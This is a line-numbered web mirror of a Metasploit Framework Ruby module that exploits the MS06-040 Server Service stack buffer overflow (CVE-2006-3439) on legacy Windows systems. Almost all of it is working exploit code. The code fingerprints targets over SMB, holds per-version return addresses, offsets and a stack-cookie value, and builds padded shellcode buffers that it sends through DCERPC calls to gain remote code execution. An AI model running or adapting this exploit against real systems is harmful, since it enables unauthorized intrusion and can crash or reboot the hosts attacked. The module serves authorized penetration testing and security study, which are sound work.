CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms06_040_netapi.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
17
using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
18
other RPC calls could be used to exploit this service. This exploit will result in
19
a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
20
will likely result in a complete reboot on Windows 2000 and the termination of all
21
SMB-related services on Windows XP. The default target for this exploit should succeed
22
on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
23
},
24
'Author' =>
25
[
26
'hdm'
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
[ 'CVE', '2006-3439' ],
32
[ 'OSVDB', '27845' ],
33
[ 'BID', '19409' ],
34
[ 'MSB', 'MS06-040' ],
35
],
36
'DefaultOptions' =>
37
{
38
'EXITFUNC' => 'thread',
39
},
40
'Privileged' => true,
41
'Payload' =>
42
{
43
# Technically we can use more space than this, but by limiting it
44
# to 370 bytes we can use the same request for all Windows SPs.
45
'Space' => 370,
46
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
47
'StackAdjustment' => -3500,
48
},
49
'Platform' => 'win',
50
'DefaultTarget' => 0,
51
'Targets' =>
52
[
53
[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
54
[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
55
{
56
'Offset' => 1000,
57
'Ret' => 0x00020804
58
}
59
],
60
[ '(wcscpy) Windows XP SP0/SP1',
61
{
62
'Offset' => 612,
63
'Ret' => 0x00020804
64
}
65
],
66
[ '(stack) Windows XP SP1 English',
67
{
68
'OffsetA' => 656,
69
'OffsetB' => 680,
70
'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll
71
}
72
],
73
[ '(stack) Windows XP SP1 Italian',
74
{
75
'OffsetA' => 656,
76
'OffsetB' => 680,
77
'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll
78
}
79
],
80
[ '(wcscpy) Windows 2003 SP0',
81
{
82
'Offset' => 612,
83
'Ret' => 0x00020804
84
}
85
],
86
],
87
'Notes' =>
88
{
89
'Reliability' => [ UNRELIABLE_SESSION ],
90
'Stability' => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ]
91
},
92
'DisclosureDate' => '2006-08-08'))
93
94
register_options(
95
[
96
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
97
])
98
99
deregister_options('SMB::ProtocolVersion')
100
end
101
102
def exploit
103
104
connect(versions: [1])
105
smb_login()
106
107
mytarget = target
108
if (not target) or (target.name =~ /Automatic/)
109
case smb_peer_os()
110
when 'Windows 5.0'
111
print_status("Detected a Windows 2000 target")
112
mytarget = targets[1]
113
114
when 'Windows NT 4.0'
115
print_status("Detected a Windows NT 4.0 target")
116
mytarget = targets[1]
117
118
when 'Windows 5.1'
119
begin
120
smb_create("\\SRVSVC")
121
print_status("Detected a Windows XP SP0/SP1 target")
122
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
123
if (e.error_code == 0xc0000022)
124
print_status("Windows XP SP2 is not exploitable")
125
return
126
end
127
print_status("Detected a Windows XP target (unknown patch level)")
128
print_status("To exploit this system, \"set TARGET 2\" and run this exploit again")
129
end
130
return
131
132
when /Windows Server 2003 (\d+)$/
133
print_status("Detected a Windows 2003 SP0 target, but have not confirmed English language")
134
print_status("To exploit this system, \"set TARGET 5\" and run this exploit again")
135
# mytarget = targets[5]
136
return
137
138
when /Windows Server 2003 (\d+) Service Pack (\d+)/
139
print_status("Windows 2003 SP#{$2} is not exploitable")
140
return
141
142
when /Samba/
143
print_status("Samba is not vulnerable")
144
return
145
146
else
147
print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
148
return
149
end
150
end
151
152
# Specific fixups for Windows NT
153
case smb_peer_os()
154
when 'Windows NT 4.0'
155
print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
156
datastore['SMB::pipe_write_min_size'] = 2048
157
datastore['SMB::pipe_write_max_size'] = 4096
158
end
159
160
handle = dcerpc_handle(
161
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
162
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
163
)
164
165
print_status("Binding to #{handle} ...")
166
dcerpc_bind(handle)
167
print_status("Bound to #{handle} ...")
168
169
#
170
# /* Function 0x1f at 0x767e912c */
171
# long function_1f (
172
# [in] [unique] [string] wchar_t * arg_00,
173
# [in] [string] wchar_t * arg_01,
174
# [out] [size_is(arg_03)] char * arg_02,
175
# [in] [range(0, 64000)] long arg_03,
176
# [in] [string] wchar_t * arg_04,
177
# [in,out] long * arg_05,
178
# [in] long arg_06
179
# );
180
#
181
182
print_status("Building the stub data...")
183
stub = ''
184
185
case mytarget.name
186
187
# This covers NT 4.0 as well
188
when /wcscpy.*Windows 2000/
189
190
code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded
191
192
path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"
193
194
stub =
195
NDR.long(rand(0xffffffff)) +
196
NDR.UnicodeConformantVaryingString('') +
197
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
198
NDR.long(rand(250)+1) +
199
NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
200
NDR.long(rand(250)+1) +
201
NDR.long(0)
202
203
when /wcscpy.*Windows XP/
204
path =
205
# Payload goes first
206
payload.encoded +
207
208
# Padding
209
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
210
211
# Land 6 bytes in to bypass garbage (XP SP0)
212
[ mytarget.ret + 6 ].pack('V') +
213
214
# Padding
215
rand_text_alphanumeric(8) +
216
217
# Address to write our shellcode (XP SP0)
218
[ mytarget.ret ].pack('V') +
219
220
# Padding
221
rand_text_alphanumeric(32) +
222
223
# Jump straight to shellcode (XP SP1)
224
[ mytarget.ret ].pack('V') +
225
226
# Padding
227
rand_text_alphanumeric(8) +
228
229
# Address to write our shellcode (XP SP1)
230
[ mytarget.ret ].pack('V') +
231
232
# Padding
233
rand_text_alphanumeric(32) +
234
235
# Terminate the path
236
"\x00\x00"
237
238
stub =
239
NDR.long(rand(0xffffffff)) +
240
NDR.UnicodeConformantVaryingString('') +
241
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
242
NDR.long(rand(0xf0)+1) +
243
NDR.UnicodeConformantVaryingString('') +
244
NDR.long(rand(0xf0)+1) +
245
NDR.long(0)
246
247
248
when /stack/
249
buff = rand_text_alphanumeric(800)
250
buff[0, payload.encoded.length] = payload.encoded
251
buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V')
252
buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')
253
254
path = "\\\x00\\\x00" + buff + "\x00\x00"
255
256
stub =
257
NDR.long(rand(0xffffffff)) +
258
NDR.UnicodeConformantVaryingString('') +
259
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
260
NDR.long(rand(0xf0)+1) +
261
NDR.UnicodeConformantVaryingString('') +
262
NDR.long(rand(0xf0)+1) +
263
NDR.long(0)
264
265
266
when /wcscpy.*Windows 2003/
267
path =
268
# Payload goes first
269
payload.encoded +
270
271
# Padding
272
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
273
274
# Padding
275
rand_text_alphanumeric(32) +
276
277
# The cookie is constant,
278
# noticed by Nicolas Pouvesle in Misc #28
279
"\x4e\xe6\x40\xbb" +
280
281
# Padding
282
rand_text_alphanumeric(4) +
283
284
# Jump straight to shellcode
285
[ mytarget.ret ].pack('V') +
286
287
# Padding
288
rand_text_alphanumeric(8) +
289
290
# Address to write our shellcode
291
[ mytarget.ret ].pack('V') +
292
293
# Padding
294
rand_text_alphanumeric(40) +
295
296
# Terminate the path
297
"\x00\x00"
298
299
stub =
300
NDR.long(rand(0xffffffff)) +
301
NDR.UnicodeConformantVaryingString('') +
302
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
303
NDR.long(rand(0xf0)+1) +
304
NDR.UnicodeConformantVaryingString('') +
305
NDR.long(rand(0xf0)+1) +
306
NDR.long(0)
307
308
end
309
310
print_status("Calling the vulnerable function...")
311
312
begin
313
dcerpc.call(0x1f, stub, false)
314
dcerpc.call(0x1f, stub, false)
315
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
316
rescue => e
317
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
318
raise e
319
end
320
end
321
322
# Cleanup
323
handler
324
disconnect
325
end
326
end
327
328